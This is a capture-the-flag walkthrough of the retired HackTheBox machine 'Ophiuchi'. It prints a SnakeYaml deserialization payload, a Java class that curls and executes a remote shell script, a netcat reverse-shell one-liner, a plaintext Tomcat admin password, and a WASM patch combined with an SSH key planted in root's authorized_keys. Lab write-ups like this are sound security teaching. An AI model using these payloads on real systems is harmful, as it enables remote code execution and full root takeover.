HackTheBox - Ophiuchi
OS | Difficulty | IP Address | Status |
---|---|---|---|
Linux | Medium | 10.10.10.227 | Retired |
This was classified as a medium difficulty box by felamos from HackTheBox. Our foothold into this box starts on its webpage on port 8080, where we will find an “Online YAML Parser” which is vulnerable to SnakeYaml Deserialization attack, we can upload a YAML payload from the web application and the server-side will parse it using the SnakeYaml library. So, we’ll let it “parse” a Java payload to get remote code execution, and gain our foothold. For the privilege escalation, we will find a username and password to escalate to admin, then we’ll have to decompile and modify a piece of a Golang program to get the root shell.
Phase 1 - Enumeration
Nmap
As usual, we start off with a Nmap and find only two ports opened.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 8080
Opening port 8080, we find a Apache Tomcat application that will “parse” yaml online:
Doing a little research into parsing yaml on web applications, we find a vulnerability that matches the box’s technology stack. But let’s not get ahead of ourselves and test it out.
According to the article, SnakeYaml Deserilization exploited, all we have to do is that add the piece of yaml code to parse; we can test it by adding our machine’s IP address to the code and see if we get a callback from the webserver.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.2/"]
]]
]
And we get a callback, so this Tomcat web application is vulnerable to SnakeYaml Deserialization exploit.
Phase 2 - Exploitation
YAML Payload
Since Apache Tomcat is built using Java, we search and found a payload generator by ARTSploit - YAML-Payload on Github. Steps to modify the source code:
# clone the repository
git clone https://github.com/artsploit/yaml-payload
# edit payload to suite our needs, code will be found below
vi yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
Modification to Java code by 0xdf. The below payload will callback to our hosted webserver which will contain a Bash reverse shell and save the reverse shell in /dev/shm, then it will make it an executable and execute the reverse shell.
...[snip]...
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() throws InterruptedException {
try {
Process p = Runtime.getRuntime().exec("curl http://10.10.14.8/shell.sh -o /dev/shm/.s.sh");
p.waitFor();
p = Runtime.getRuntime().exec("chmod +x /dev/shm/.s.sh");
p.waitFor();
p = Runtime.getRuntime().exec("/dev/shm/.s.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
...[snip]...
The below code is to compile and compress the Java code, then create a Bash reverse, host it on port 80 and finally, listen with netcat on port 9001.
# once modified, compile the Java code
javac src/artsploit/AwesomeScriptEngineFactory.java
# then compress it into a .jar file
jar -cvf shell.jar -C yaml-payload/src/ .
# create a bash script to contain a reverse shell and yaml-payload
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 9001 >/tmp/f" > shell.sh
# host http server to contain shell.sh
sudo python3 -m http.server 80
# and don't forget to listen for the reverse shell callback
nc -lnvp 9001
Then we use the SnakeYaml vulnerability to upload the shell.jar payload.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.2/shell.jar"]
]]
]
We get hits on our webserver and then we get a shell as the tomcat user!
tomcat to admin
Since we know this is a Tomcat web application and we are the tomcat user; let’s look into the Tomcat configuration:
cd /opt/tomcat/conf
less tomcat-users.xml
...[snip]...
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
We find the user admin and admin password as “whythereisalimit” so let’s SSH into the machine as admin where we get the user flag.
Phase 3 - Privilege Escalation
Go for Root
Checking what permissions the user admin can run as root, we find that a Go program that can be run as root:
sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Analyzing /opt/wasm-functions/index.go, we see that the Go program is looking for “main.wasm” and there’s a if condition. The condition suggests that if the value is equal to 1, then the program will run “deploy.sh” as the root user. Both “main.wasm” and “deploy.sh” have no hard-coded path to specify the original file and reads from the current working directory, which means we can create our “main.wasm” and “deploy.sh”.
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Reverse Engineering main.wasm
WASM or Web Assembly is a binary instruction format for a stack-based virtual machine designed as a portable compilation target for programming languages that enables deployment for client and server applications.
Since “main.wasm” is a binary, we can’t read it; so we’ll use WebAssembly Binary Kit or WABT to decompile main.wasm with the following steps:
# First we need to copy main.wasm to our machine
sshpass -p whythereisalimit scp admin@10.10.10.227:/opt/wasm-functions/main.wasm .
# then clone the WABT repository or download the release file
git clone --recursive https://github.com/WebAssembly/wabt
wasm2wat & wat2wasm
Decompiling main.wasm to main.wat, we see the i32.const as 0. All we have to do is edit the main.wat to be 1 instead of 0 and recompile main.wat to main.wasm.
┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ ./wasm2wat main.wasm-original > main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0) <============= change to 1
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ ./wat2wasm main.wat
# now notice the 1 instead of 0
┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ ./wasm2wat main.wasm
(module
(type (;0;) (func (result i32)))
(func (;0;) (type 0) (result i32)
i32.const 1) <============= changed to 1
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func 0))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
Now let’s copy our modified “main.wasm” file back to Ophiuchi machine:
┌──(kali㉿kali)-[~/…/machines/ophiuchi/wabt-1.0.24/bin]
└─$ scp main.wasm admin@10.10.10.227:/dev/shm/main.wasm
admin@10.10.10.227's password:
main.wasm 100% 112 0.5KB/s 00:00
Rootshell
Since we have the modified “main.wasm” now we need to create the “deploy.sh” because the Go program will be looking for it. We will create a SSH key to add to the /root/.ssh/authorized_keys file, this will allow us to login as the root user.
SSH-KeyGen
┌──(kali㉿kali)-[~/CTF/HTB/machines/ophiuchi]
└─$ ssh-keygen -t ed25519 -C "kali@kali"
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/CTF/HTB/machines/ophiuchi/id_ed25519
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/CTF/HTB/machines/ophiuchi/id_ed25519
Your public key has been saved in /home/kali/CTF/HTB/machines/ophiuchi/id_ed25519.pub
The key fingerprint is:
SHA256:YsHgptkanmkLY+sAFJ4BS9hLCNbO1sF6efhhdAkzcqI kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|*B. oo =. . |
|*.*o.=+.oo |
|.=oE= B . |
|. .X = = |
|. = o * S |
|.. = . o |
|+.* |
|o+.. |
|.o. |
+----[SHA256]-----+
┌──(kali㉿kali)-[~/CTF/HTB/machines/ophiuchi]
└─$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZL7DUYGa+E3h9F8mC+B+bMN5nidhsngeaJWSQF6lnq kali@kali
deploy.sh
Now that we have our SSH key, let’s add it to our “deploy.sh”
#!/usr/bin/bash
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZL7DUYGa+E3h9F8mC+B+bMN5nidhsngeaJWSQF6lnq kali@kali" >> /root/.ssh/authorized_keys
Run Go Program
Finally, let’s run the Go program as root and login as the root user!
admin@ophiuchi:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
[*] Adding public key to /root/.ssh/authorized_keys
[+] Done.
And we have rooted the box!
┌──(kali㉿kali)-[~/CTF/HTB/machines/ophiuchi]
└─$ ssh -i id_ed25519 root@10.10.10.227
root@ophiuchi:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ophiuchi:~#
Post a Comment